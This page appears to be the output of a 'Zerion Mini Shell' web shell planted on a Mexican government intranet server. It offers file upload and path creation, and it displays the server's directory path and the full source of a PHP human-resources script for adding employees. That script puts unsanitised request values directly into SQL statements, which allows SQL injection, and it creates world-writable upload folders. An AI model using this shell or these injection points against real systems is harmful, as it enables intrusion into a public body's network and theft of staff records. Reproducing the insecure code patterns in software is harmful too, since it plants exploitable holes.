%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/agregar_personal.php

<?php

session_start();

include "../../config/config.php";

$_SESSION['expire'] = time() + (120 * 60);

$no_empleado             =   isset($_REQUEST['no_empleado']) ? $_REQUEST['no_empleado'] : 0;
$titulo             =   isset($_REQUEST['titulo']) ? $_REQUEST['titulo'] : 0;
$titulo_abrev             =   isset($_REQUEST['titulo_abrev']) ? $_REQUEST['titulo_abrev'] : 0;
$genero             =   isset($_REQUEST['genero']) ? $_REQUEST['genero'] : 0;
$nombre             =   isset($_REQUEST['nombre']) ? $_REQUEST['nombre'] : 0;
$apellido1             =   isset($_REQUEST['apellido1']) ? $_REQUEST['apellido1'] : 0;
$apellido2             =   isset($_REQUEST['apellido2']) ? $_REQUEST['apellido2'] : 0;
$celular            =   isset($_REQUEST['celular']) ? $_REQUEST['celular'] : 0;
$fecha_nac            =   isset($_REQUEST['fecha_nac']) ? $_REQUEST['fecha_nac'] : 0;
$id_area            =   isset($_REQUEST['id_area']) ? $_REQUEST['id_area'] : 0;
$id_puesto             =   isset($_REQUEST['id_puesto']) ? $_REQUEST['id_puesto'] : 0;
$fecha_ing            =   isset($_REQUEST['fecha_ing']) ? $_REQUEST['fecha_ing'] : 0;
$correo              =   isset($_REQUEST['correo']) ? $_REQUEST['correo'] : 0;
$rfc                =   isset($_REQUEST['rfc']) ? $_REQUEST['rfc'] : 0;
$curp                =   isset($_REQUEST['curp']) ? $_REQUEST['curp'] : 0;
$id_estatus                =   isset($_REQUEST['id_estatus']) ? $_REQUEST['id_estatus'] : 0;
$calle            =   isset($_REQUEST['calle']) ? $_REQUEST['calle'] : '';
$numero              =   isset($_REQUEST['numero']) ? $_REQUEST['numero'] : '';
$colonia                =   isset($_REQUEST['colonia']) ? $_REQUEST['colonia'] : '';
$cp             =   isset($_REQUEST['cp']) ? $_REQUEST['cp'] : '';

// $documentoP            =    isset($_REQUEST['documentoP']) ? $_REQUEST['documentoP'] : 0;
// $tipoP            =    isset($_REQUEST['tipoP']) ? $_REQUEST['tipoP'] : 0;
// $documentoP1            =    isset($_REQUEST['documentoP1']) ? $_REQUEST['documentoP1'] : 0;



//$id_usuario = $_SESSION['usuario_id'];
// Datos cliente

$conf = new Configuracion();
$conf->conectarBD();

$sql = "SELECT * FROM tjam_empleados WHERE rfc = '$rfc' ";
$rst = $conf->consulta($sql);
if (count($rst) > 0) {
	header("Location: page_find_personal.php?error=1");
} 

$sql = "SELECT * FROM tjam_empleados WHERE num_empleado = '$no_empleado' ";
$rst = $conf->consulta($sql);
if (count($rst) > 0) {
	header("Location: page_find_personal.php?error=1");
} else {
	$sql1 = "INSERT INTO tjam_empleados(calle,colonia,numero,cp,num_empleado, genero, titulo, titulo_abrev, nombre, apellido1, apellido2, celular, fecha_nacimiento, id_area, id_puesto, fecha_ingreso, correo, rfc, curp, id_estatus, habilitado) 
	    	VALUES ('$calle','$colonia','$numero','$cp','$no_empleado', '$genero', '$titulo', '$titulo_abrev', '$nombre', '$apellido1', '$apellido2', '$celular', '$fecha_nac', $id_area, $id_puesto, '$fecha_ing', '$correo', '$rfc', '$curp', 1, 1);";
	$id_personal = $conf->ultimo_id($sql1);

	$sql3 = "INSERT INTO tjam_movimientos_rh(id_empleado, movimiento, duracion, f_movimiento, id_area, id_puesto, id_cubre, num_oficio) 
	    	VALUES ('$id_personal', 'Alta', 0, '$fecha_ing', $id_area, $id_puesto, 0, '');";
	$id_personal = $conf->ultimo_id($sql3);

	// $conf->desconectarDB();
	// header("Location: page_find_personal.php?app=1");
}

//INSERTA RH
/*$sql1 = "INSERT INTO tjam_empleados(nombre, apellido1, apellido2, celular, id_area, id_puesto, correo, rfc, id_estatus) 
    VALUES ('$nombre','$apellido1','$apellido2','$celular',$id_area,'$id_puesto','$correo','$rfc','$id_estatus');";
	$id_personal = $conf->ultimo_id($sql1);

	$conf->desconectarDB();

	header("Location: page_find_personal.php?app=1");*/


// BETA DOCUMENTOS DINAMICO
// for ($i = 0; $i < count($tipoP); $i++) {
//     // $documentoP[$i];
// 	$sql4 = "INSERT INTO tjam_empleados_documentos (id_personal,id_tipo,url_pdf) 
//         VALUES ('$id_personal','$tipoP[$i]','No aplica');";
// 	$id_documento = $conf->ultimo_id($sql4);

// 	insertaImagen($id_apoyo,"url_documento",$conf);
// }

// if ($_FILES['documentoP1']['size'] == 0) {
// } else {
// 	$sql4 = "INSERT INTO tjam_empleados_documentos (id_personal,id_tipo,url_pdf) 
// 	VALUES ('$id_personal','1','No aplica');";
// 	$id_documento = $conf->ultimo_id($sql4);
// 	insertaImagen($id_documento, $no_empleado, $documentoP1, $conf);
// }



$conf->desconectarDB();

header("Location: page_find_personal.php?app=1");



function insertaImagen($tipo_imagen, $no_empleado, $id_documento, $conf)
{
	if (empty($_FILES[$tipo_imagen]["name"]))
		return;

	$file_name = $_FILES[$tipo_imagen]["name"];
	$extension = pathinfo($_FILES[$tipo_imagen]['name'], PATHINFO_EXTENSION);
	$ext_formatos = array('png', 'gif', 'jpg', 'jpeg', 'pdf', 'doc', 'docx', 'xml');

	if (!in_array(strtolower($extension), $ext_formatos))
		return;
	if ($_FILES[$tipo_imagen]["size"] > 33000300800)
		return;

	$dia  = date("d");
	$mes  = date("m");
	$anio = date("Y");
	$targetDir = "./documentos/$no_empleado/";
	@rmdir($targetDir);

	// Create target dir
	if (!file_exists($targetDir)) {
		@mkdir($targetDir, 0777, true);
	}

	$token = md5(uniqid(rand(), true));
	$file_name = $token . '.' . $extension;
	$add = $targetDir . $file_name;
	$db_url_img = "$anio/$mes/$dia/$file_name";

	if (move_uploaded_file($_FILES[$tipo_imagen]["tmp_name"], $add)) {

		$insertar = "UPDATE tjam_empleados_documentos SET $tipo_imagen = '$db_url_img' 
                            WHERE id_documento = $id_documento";
		$conf->actualizacion($insertar);
	}
}

?>

Zerion Mini Shell 1.0